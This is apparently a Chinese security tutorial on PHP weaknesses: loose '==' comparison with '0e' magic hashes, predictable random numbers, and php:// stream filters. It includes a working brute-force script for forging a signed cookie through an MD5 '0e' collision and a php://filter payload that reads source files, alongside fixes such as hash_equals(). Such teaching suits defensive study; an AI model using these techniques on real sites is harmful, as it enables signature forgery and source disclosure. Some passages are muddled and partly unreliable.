- php弱类型
php中变量是比较即为弱类型比较 即"1"=1,0e1111111=0e222222。
随便列举几个例子。
$a = "1";$b = 1; var_dump($a);var_dump($b); if($a == $b) {print "a=b";} else {print "a!=b";}
output: a=b
<?php $a = "0e111111111111111111"; $b = "0e222222222222222222"; var_dump($a); var_dump($b); if($a == $b){ print "a=b"; } else { print "a!=b"; } ?>
Output: a=b
先来看一下前几天我在做代码审计时候的一段代码。
$ php -a Interactive mode enabled php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4'; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print_r(unserialize($payload)); Array ( [:new:username] => admin [:new:message] => That is the wrong username or password ) php >
选定[:new:username]进行暴力枚举。
set_time_limit(0); define('HASH_ALGO', 'md5'); define('PASSWORD_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage); $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:2:{s:13:":new:username";s:'.$length.':"'.$garbage.'";s:12:":new:message";s:7:"taquito";}'; #echo "Testing: " . $payload . "n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hashn"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) { echo "Checking passwords with length: $in"; recurse($i, 0, ''); } ?>
0e553592359278167729317779925758
最后一行是生成的MD5值。
将这个值与原代码中的$signature变量进行对比
$a = "0e553592359278167729317779925758"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the samen"; } else { print "a and b are NOT the samen"; } ?> Output: $ php steps.php string(32) "0e553592359278167729317779925758" string(32) "0e222222222222222222222222222222" a and b are the same
这样就可以随意控制从服务器返回的数据。
- 运算符引发的安全问题。
当字符串与数字在进行比较的时候,程序会出现某些非常奇怪的现象
出现这样的现象是因为php在处理数据时存在强制类型转换的问题,例如将1abcd这个字符串和1比较时,字符串和数字是不能放在一起比较的因此php就会先将1acbd转化成1在和数字比较。
在设置密码的时候相信大家都会遇到这样一种情况,密码要满足xxx位,且含有数字,小写字母,下划线等等。分析一下为什么设置密码的时候要有这种要求。
原因在于设置密码后,后台会对你设置的密码进行加密,而90%的加密方式即为(SHA1和MD5)因为这两种加密方式不可逆。例如这两串密码 1a2b3c4d和abcd 前者会增加密码的松散性。具体的松散性问题也是极其复杂,涉及到了一些数论的定理,研究的很深也没有什么用(毕竟这不是谍战片中用摩斯电码交流的年代...)
解决方案
PHP给我们提供了一个解决方案,如果你想要对比哈希值,你应该使用password_verify()或hash_equals()这两个函数。它们会对数据进行严格比较,并排除一些其他的干扰因素。但是注意,hash_equals()函数也可以用于字符串的比较。
- 随机数(random)
#include <stdio.h> #define MAX 1000 #define seed 1 int main() { int r[MAX]; int i; r[0] = seed; for (i=1; i<31; i++) { r[i] = (16807LL * r[i-1]) % 2147483647; if (r[i] < 0) { r[i] += 2147483647; } } for (i=31; i<34; i++) { r[i] = r[i-31]; } for (i=34; i<344; i++) { r[i] = r[i-31] + r[i-3]; } for (i=344; i<MAX; i++) { r[i] = r[i-31] + r[i-3]; printf("%d\n", ((unsigned int)r[i]) >> 1); } return 0; }
这一段代码是我用c语言写的一个模拟随机数的过程,可以看到随机数看似是随机的,其实如果你连续生成31个随机数,就会发现其中的循环规律。因此也可以预测后面的随机过程。
PHP中mt_rand()函数即是爆破随机数种子的函数,可以推测随机数的生成过程。
if (argc == 0) { // genrand_int31 in mt19937ar.c performs a right shift RETURN_LONG(php_mt_rand() >> 1); } ... RETURN_LONG(php_mt_rand_common(min, max)); ... if (BG(mt_rand_mode) == MT_RAND_MT19937) { return php_mt_rand_range(min, max); } ... umax++; ... result = php_mt_rand(); ... return (zend_long)((result % umax) + min);
这是在网上找到的一个随机数模板,可以看到函数的返回结果是(php_mt_rand() % (max-min+1)) + min 通过这样的算法找一个区间范围,而不可以直接生成[ min , max ] 这样的闭区间范围。
- PHP伪协议
参数:
名称 描述 resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
一个简单的例子:
php://filter/read=convert.base64-encode/resource=upload.php
在过滤器convert.base64-encode里读取upload.php文件。
压缩过滤器
<?php $params = array('level' => 6, 'window' => 15, 'memory' => 9); $original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n"; echo "The original text is " . strlen($original_text) . " characters long.\n"; $fp = fopen('test.deflated', 'w'); stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params); fwrite($fp, $original_text); fclose($fp); echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n"; echo "The original text was:\n"; /* Use readfile and zlib.inflate to decompress on the fly */ readfile('php://filter/zlib.inflate/resource=test.deflated'); /* Generates output: The original text is 70 characters long. The compressed file is 56 bytes long. The original text was: This is a test. This is only a test. This is not an important string. */ ?>
将文件压缩后写入I/O流